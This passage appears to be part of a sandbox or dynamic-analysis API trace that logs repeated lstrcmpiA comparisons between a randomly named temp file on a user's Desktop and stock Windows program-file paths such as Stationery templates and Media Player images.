lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 1 [0145.166] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 1 [0145.167] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 1 [0145.168] lstrcmpiA 